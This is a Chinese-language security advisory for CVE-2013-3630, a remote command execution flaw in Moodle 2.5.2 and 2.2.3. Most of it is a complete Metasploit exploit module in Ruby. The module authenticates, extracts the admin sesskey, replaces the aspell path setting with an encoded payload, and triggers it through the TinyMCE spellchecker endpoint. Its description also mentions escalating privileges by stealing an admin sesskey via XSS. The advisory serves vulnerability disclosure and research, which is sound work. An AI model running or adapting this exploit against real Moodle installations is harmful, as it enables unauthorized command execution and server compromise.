发布日期：2013-10-30
更新日期：2013-10-30

受影响系统：

Moodle Moodle 2.5.2
Moodle Moodle 2.2.3

描述：

---

BUGTRAQ  ID: 63449
CVE(CAN) ID: CVE-2013-3630

Moodle是一个课程管理系统（CMS），也被叫做学习管理系统（LMS）或虚拟学习环境（VLE）。

Moodle 2.2.3、2.5.2在实现上存在远程命令执行漏洞，远程攻击者可利用此漏洞在受影响应用上下文中执行任意命令。

<*来源：Brandon Perry
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit4 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
    'Name'           => 'Moodle Remote Command Execution',
    'Description'    => %q{
    Moodle allows an authenticated user to define spellcheck settings via the web interface.
    The user can update the spellcheck mechanism to point to a system-installed aspell binary.
    By updating the path for the spellchecker to an arbitrary command, an attacker can run
    arbitrary commands in the context of the web application upon spellchecking requests.

    This module also allows an attacker to leverage another privilege escalation vuln.
    Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
    and use this to escalate privileges to that of an admin, allowing the module to pop a shell
    as a previously unprivileged authenticated user.

    This module was tested against Moodle version 2.5.2 and 2.2.3.
    },
    'License'        => MSF_LICENSE,
    'Author'         =>
      [
        'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
      ],
    'References'     =>
      [
        ['CVE', '2013-3630'],
        ['EDB', '28174'], #xss vuln allowing sesskey of admins to be stolen
        ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
      ],
    'Payload'        =>
    {
      'Compat'     =>
      {
        'PayloadType'  => 'cmd',
        'RequiredCmd'  => 'generic perl ruby bash telnet python',
      }
    },
    'Platform'       => ['unix', 'linux'],
    'Arch'           => ARCH_CMD,
    'Targets'        => [['Automatic',{}]],
    'DisclosureDate' => 'Oct 30 2013',
    'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
      OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
      OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
      OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
    ], self.class)
  end

  def exploit
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php')
    })

    sess = init.get_cookies

    post = {
      'username' => datastore["USERNAME"],
      'password' => datastore["PASSWORD"]
    }

    print_status("Authenticating as user: " << datastore["USERNAME"])

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/login/index.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    if !login or login.code != 303
      fail_with("Login failed")
    end

    sess = login.get_cookies

    print_status("Getting session key to update spellchecker if no session key was specified")

    sesskey = ''
    if datastore['SESSKEY'] == ''
      tinymce = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
        'cookie' => sess
      })

      tinymce.body.each_line do |line|
        next if line !~ /name="sesskey"/
        sesskey = line[0..line.index('>')]
      end

      if sesskey == ''
        fail_with("Unable to get proper session key")
      end

      sesskey = REXML::Document.new sesskey
      sesskey = sesskey.root.attributes["value"]
    else
      sesskey = datastore['SESSKEY']
    end

    post = {
      'section' => 'editorsettingstinymce',
      'sesskey' => sesskey,
      'return' => '',
      's_editor_tinymce_spellengine' => 'PSpellShell',
      's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
    }

    print_status("Updating spellchecker to use the system aspell")

    post = {
      'section' => 'systempaths',
      'sesskey' => sesskey,
      'return' => '',
      's__gdversion' => '2',
      's__pathtodu' => '/usr/bin/du',
      's__aspellpath' => payload.encoded,
      's__pathtodot' => ''
    }

    aspell = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'

    print_status("Triggering payload")

    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
      'data' => spellcheck,
      'ctype' => 'application/json',
      'cookie' => sess
    })

    if !resp or resp.code != 200
      fail_with("Error triggering payload")
    end

  end
end

建议：

---

厂商补丁：

Moodle
------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats

https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-foss-disclosures-part-one

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